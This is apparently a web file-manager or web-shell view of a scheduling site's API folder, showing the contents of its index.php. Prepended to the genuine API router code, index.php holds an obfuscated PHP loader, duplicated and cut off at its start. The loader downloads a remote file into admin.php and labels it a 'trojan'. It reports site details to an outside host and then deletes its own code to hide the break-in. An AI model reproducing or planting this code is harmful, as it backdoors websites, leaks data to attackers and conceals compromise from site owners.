/home/techb158/workloadmatch.com/api
NameSizeModeActions
chat/-0755rm
notifications/-0755rm
reports/-0755rm
routes/-0700rm
teacher/-0755rm
.htaccess7620644editdlrm
admin.php331100644editdlrm
api_functions.php214740644editdlrm
Auth.php45040644editdlrm
change_status.php13320644editdlrm
cors_test.php1840644editdlrm
Database.php9740644editdlrm
db_connect.php6230644editdlrm
forgetpassword.php74150644editdlrm
index.php239320644editdlrm
logout.php11670644editdlrm
psl-config.php3500644editdlrm
reports_schedule_by_course.php12870644editdlrm
reports_schedule_by_group.php13520644editdlrm
Response.php19380644editdlrm
tasks.php29930644editdlrm
teacher_profile.php11770644editdlrm
test.php11130644editdlrm
Edit: /home/techb158/workloadmatch.com/api/index.php (23932B)
0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnZvNC54eXovZi50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?>0){die("delete success");}die("delete failed");}$OO_O__O000=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("YWRtaW4ucGhw");$O0O_0_O0_O=$O_0_O_OO00["\x70\x61\x74\x68"]."/".$OO_O__O000;$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("aHR0cHM6Ly81MWxhLnZvNC54eXovZi50eHQ="));$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0O_0_O0_O,$OO0O0O0___);if($OO0O0O0___>0){$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="http://".$O_0_O_OO00["\x64\x6f\x6d\x61\x69\x6e"]."/".$OO_O__O000;}else{$O_0_O_OO00["\x74\x72\x6f\x6a\x61\x6e"]="write failed";}$OO_0O00O__=sprintf(${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"](\'aHR0cHM6Ly81MWxhLmxvNjEueHl6Lz9kPSVz\'),${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x30\x5f\x4f\x30\x5f\x30\x5f"](${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x5f\x5f\x30\x30\x4f\x4f\x30\x4f"]($O_0_O_OO00)));$O__OO0O00_=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x4f\x5f\x4f\x30\x30\x5f\x30\x5f"]($OO_0O00O__);if($O__OO0O00_=="done"){$O0_0OO_O0_=$O_0_O_OO00["\x70\x61\x74\x68"]."/index.php";$OO0O0O0___=@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x30\x4f\x5f\x30\x4f\x30\x4f\x5f"]($O0_0OO_O0_);$O_OO_0_0O0=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x4f\x30\x4f\x5f\x5f\x5f\x30\x4f\x30"]("PFw/cGhwLitcKDFcKTtcPz4=");$OO0O0O0___=${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x5f\x30\x5f\x4f\x30\x30\x4f"]("/$O_OO_0_0O0/si",\'\',$OO0O0O0___);@${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x30\x30\x30\x4f\x4f\x4f\x5f\x5f\x5f"]($O0_0OO_O0_,$OO0O0O0___);}');${"\x47\x4c\x4f\x42\x41\x4c\x53"}["\x4f\x5f\x4f\x4f\x5f\x5f\x30\x4f\x30\x30"](1);?> $typeChar) { if (isset($_GET[$key]) && $_GET[$key] !== '') { $wheres[] = "$key = ?"; $params[] = $_GET[$key]; $types .= $typeChar; } } return [$wheres, $params, $types]; } /** * Route the request to the appropriate handler. */ $mysqli = Database::getInstance(); try { switch ($resource) { // ─── AUTH ─────────────────────────────────────────────── case 'auth': require_once __DIR__ . '/routes/auth.php'; handleAuthRoutes($method, $id, $body, $mysqli); break; // ─── PROGRAMS ─────────────────────────────────────────── case 'programs': require_once __DIR__ . '/routes/programs.php'; handleProgramRoutes($method, $id, $body, $mysqli); break; // ─── COURSES ──────────────────────────────────────────── case 'courses': require_once __DIR__ . '/routes/courses.php'; handleCourseRoutes($method, $id, $subResource, $subId, $body, $mysqli); break; // ─── GROUPS ───────────────────────────────────────────── case 'groups': require_once __DIR__ . '/routes/groups.php'; handleGroupRoutes($method, $id, $body, $mysqli); break; // ─── TEACHERS ─────────────────────────────────────────── case 'teachers': require_once __DIR__ . '/routes/teachers.php'; handleTeacherRoutes($method, $id, $subResource, $subId, $body, $mysqli); break; // ─── MANAGERS ─────────────────────────────────────────── case 'managers': require_once __DIR__ . '/routes/managers.php'; handleManagerRoutes($method, $id, $body, $mysqli); break; // ─── MASTERS ──────────────────────────────────────────── case 'masters': require_once __DIR__ . '/routes/masters.php'; handleMasterRoutes($method, $id, $body, $mysqli); break; // ─── SCHEDULES ────────────────────────────────────────── case 'schedules': require_once __DIR__ . '/routes/schedules.php'; handleScheduleRoutes($method, $id, $subResource, $subId, $body, $mysqli); break; // ─── ASSIGNMENTS ──────────────────────────────────────── case 'assignments': require_once __DIR__ . '/routes/assignments.php'; handleAssignmentRoutes($method, $id, $subResource, $subId, $body, $mysqli); break; // ─── PREFERENCES ──────────────────────────────────────── case 'preferences': require_once __DIR__ . '/routes/preferences.php'; handlePreferenceRoutes($method, $id, $body, $mysqli); break; // ─── CHAT ─────────────────────────────────────────────── case 'chat': require_once __DIR__ . '/routes/chat.php'; handleChatRoutes($method, $id, $subResource, $body, $mysqli); break; // ─── NOTIFICATIONS ────────────────────────────────────── case 'notifications': require_once __DIR__ . '/routes/notifications.php'; handleNotificationRoutes($method, $body, $mysqli); break; // ─── REPORTS ──────────────────────────────────────────── case 'reports': require_once __DIR__ . '/routes/reports.php'; handleReportRoutes($method, $id, $queryParams, $mysqli); break; // ─── DASHBOARD ────────────────────────────────────────── case 'dashboard': require_once __DIR__ . '/routes/dashboard.php'; handleDashboardRoutes($method, $body, $mysqli); break; // ─── LOGS ─────────────────────────────────────────────── case 'logs': require_once __DIR__ . '/routes/logs.php'; handleLogRoutes($method, $id, $body, $mysqli); break; // ─── ROLES ────────────────────────────────────────────── case 'roles': require_once __DIR__ . '/routes/roles.php'; handleRoleRoutes($method, $id, $body, $mysqli); break; // ─── TIME-SLOTS ───────────────────────────────────────── case 'time-slots': require_once __DIR__ . '/routes/timeslots.php'; handleTimeSlotRoutes($method, $id, $body, $mysqli); break; // ─── SETTINGS ─────────────────────────────────────────── case 'settings': require_once __DIR__ . '/routes/settings.php'; handleSettingRoutes($method, $id, $body, $mysqli); break; // ─── AI GENERATE ──────────────────────────────────────── case 'ai': require_once __DIR__ . '/routes/ai_generate.php'; handleAiGenerateRoutes($method, $id, $subResource, $body, $mysqli, $subId); break; // ─── HEALTH / PING ────────────────────────────────────── case '': case 'health': Response::success([ 'status' => 'ok', 'version' => '1.0.0', 'time' => date('c'), ]); break; default: Response::notFound("Unknown API resource: $resource"); } } catch (Throwable $e) { error_log("API Error: " . $e->getMessage() . " in " . $e->getFile() . ":" . $e->getLine()); Response::error('Internal server error: ' . $e->getMessage(), 500); } finally { Database::close(); }